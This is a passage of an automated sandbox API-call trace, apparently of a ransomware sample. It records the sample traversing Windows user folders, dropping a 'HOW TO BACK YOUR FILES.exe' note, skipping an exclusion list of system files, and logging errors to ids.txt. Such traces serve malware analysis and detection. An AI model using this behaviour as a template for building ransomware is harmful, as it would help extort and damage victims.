	[0063.050] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2a6a10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0063.050] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.050] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0063.050] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0063.050] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2a6a10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.050] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.050] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0063.050] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0063.050] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0063.050] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2a6a10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0063.050] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0063.050] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2a6a10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0063.050] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0063.050] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a30
	[0063.050] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\History", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\History") returned="C:\\Users\\Default\\AppData\\Local\\History"
	[0063.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb18 | out: hHeap=0x580000) returned 1
	[0063.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a28 | out: hHeap=0x580000) returned 1
	[0063.050] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\History") returned 38
	[0063.050] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\History" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\History") returned="C:\\Users\\Default\\AppData\\Local\\History"
	[0063.050] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.051] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\history\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.051] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.052] GetLastError () returned 0x0
	[0063.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.052] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.052] CloseHandle (hObject=0x15c) returned 1
	[0063.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.052] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.052] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2a6a10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0063.052] GetLastError () returned 0x5
	[0063.052] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\AppData\\Local\\History\\* FindFirstFile error 5\r\n") returned 72
	[0063.052] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\AppData\\Local\\History\\* FindFirstFile error 5\r\n") returned 72
	[0063.052] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.052] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bae
	[0063.052] WriteFile (in: hFile=0x15c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x48, lpOverlapped=0x0) returned 1
	[0063.053] CloseHandle (hObject=0x15c) returned 1
	[0063.053] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a10
	[0063.053] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Application Data", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Application Data") returned="C:\\Users\\Default\\AppData\\Local\\Application Data"
	[0063.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5730 | out: hHeap=0x580000) returned 1
	[0063.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a08 | out: hHeap=0x580000) returned 1
	[0063.053] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Application Data") returned 47
	[0063.053] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Application Data" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Application Data") returned="C:\\Users\\Default\\AppData\\Local\\Application Data"
	[0063.053] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.053] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.053] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.054] GetLastError () returned 0x0
	[0063.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.054] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.054] CloseHandle (hObject=0x15c) returned 1
	[0063.054] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.054] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.054] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2a6a10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0063.054] GetLastError () returned 0x5
	[0063.054] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\AppData\\Local\\Application Data\\* FindFirstFile error 5\r\n") returned 81
	[0063.054] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\AppData\\Local\\Application Data\\* FindFirstFile error 5\r\n") returned 81
	[0063.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.054] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bf6
	[0063.054] WriteFile (in: hFile=0x15c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x51, lpOverlapped=0x0) returned 1
	[0063.055] CloseHandle (hObject=0x15c) returned 1
	[0063.055] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79f0
	[0063.055] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users", iMaxLength=260 | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0063.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5beda8 | out: hHeap=0x580000) returned 1
	[0063.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x580000) returned 1
	[0063.055] lstrlenW (lpString="C:\\Users\\All Users") returned 18
	[0063.055] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users"
	[0063.055] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.055] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.056] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.056] GetLastError () returned 0x0
	[0063.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.056] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.056] CloseHandle (hObject=0x15c) returned 1
	[0063.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.056] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.056] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2a843a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2a843a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0063.056] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.056] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0063.056] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0063.056] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2a843a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2a843a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.056] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.056] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0063.056] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0063.056] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0063.057] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30056890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0063.057] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.057] lstrcmpiW (lpString1="Adobe", lpString2="Apollon865.txt.exe") returned -1
	[0063.057] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1
	[0063.057] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1
	[0063.057] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1
	[0063.057] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1
	[0063.057] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1
	[0063.057] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1
	[0063.057] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1
	[0063.057] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1
	[0063.057] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1
	[0063.057] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1
	[0063.057] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1
	[0063.057] lstrlenW (lpString="Adobe") returned 5
	[0063.057] lstrlenW (lpString="C:\\Users\\All Users\\*") returned 20
	[0063.057] lstrcpyW (in: lpString1=0x119e62e, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe"
	[0063.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79e8
	[0063.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca2d0
	[0063.057] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79f0 | out: ListHead=0x5b75f0, ListEntry=0x5b79f0) returned 0x5b79d0
	[0063.057] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0063.057] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.057] lstrcmpiW (lpString1="Application Data", lpString2="Apollon865.txt.exe") returned 1
	[0063.057] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1
	[0063.057] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1
	[0063.057] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1
	[0063.057] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1
	[0063.057] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1
	[0063.057] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1
	[0063.057] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1
	[0063.057] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1
	[0063.058] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1
	[0063.058] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1
	[0063.058] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1
	[0063.058] lstrlenW (lpString="Application Data") returned 16
	[0063.058] lstrlenW (lpString="C:\\Users\\All Users\\Adobe") returned 24
	[0063.058] lstrcpyW (in: lpString1=0x119e62e, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data"
	[0063.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a08
	[0063.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bdca8
	[0063.058] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a10 | out: ListHead=0x5b75f0, ListEntry=0x5b7a10) returned 0x5b79f0
	[0063.058] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0063.058] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.058] lstrcmpiW (lpString1="Desktop", lpString2="Apollon865.txt.exe") returned 1
	[0063.058] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1
	[0063.058] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1
	[0063.058] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1
	[0063.058] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1
	[0063.058] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1
	[0063.058] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1
	[0063.058] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1
	[0063.058] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1
	[0063.058] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1
	[0063.058] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1
	[0063.058] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1
	[0063.058] lstrlenW (lpString="Desktop") returned 7
	[0063.058] lstrlenW (lpString="C:\\Users\\All Users\\Application Data") returned 35
	[0063.058] lstrcpyW (in: lpString1=0x119e62e, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop"
	[0063.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a28
	[0063.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x36) returned 0x5ca3d0
	[0063.058] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a30 | out: ListHead=0x5b75f0, ListEntry=0x5b7a30) returned 0x5b7a10
	[0063.058] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0063.058] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.058] lstrcmpiW (lpString1="Documents", lpString2="Apollon865.txt.exe") returned 1
	[0063.059] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1
	[0063.059] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1
	[0063.059] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1
	[0063.059] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1
	[0063.059] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1
	[0063.059] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1
	[0063.059] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1
	[0063.059] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1
	[0063.059] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1
	[0063.059] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1
	[0063.059] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1
	[0063.059] lstrlenW (lpString="Documents") returned 9
	[0063.059] lstrlenW (lpString="C:\\Users\\All Users\\Desktop") returned 26
	[0063.059] lstrcpyW (in: lpString1=0x119e62e, lpString2="Documents" | out: lpString1="Documents") returned="Documents"
	[0063.059] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ba8
	[0063.059] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b62c8
	[0063.059] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bb0) returned 0x5b7a30
	[0063.059] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
	[0063.059] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.059] lstrcmpiW (lpString1="Favorites", lpString2="Apollon865.txt.exe") returned 1
	[0063.059] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1
	[0063.059] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1
	[0063.059] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1
	[0063.059] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1
	[0063.059] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1
	[0063.059] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1
	[0063.059] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1
	[0063.059] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1
	[0063.059] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1
	[0063.059] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1
	[0063.059] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1
	[0063.059] lstrlenW (lpString="Favorites") returned 9
	[0063.059] lstrlenW (lpString="C:\\Users\\All Users\\Documents") returned 28
	[0063.060] lstrcpyW (in: lpString1=0x119e62e, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites"
	[0063.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0063.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b5f20
	[0063.060] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a90 | out: ListHead=0x5b75f0, ListEntry=0x5b7a90) returned 0x5b7bb0
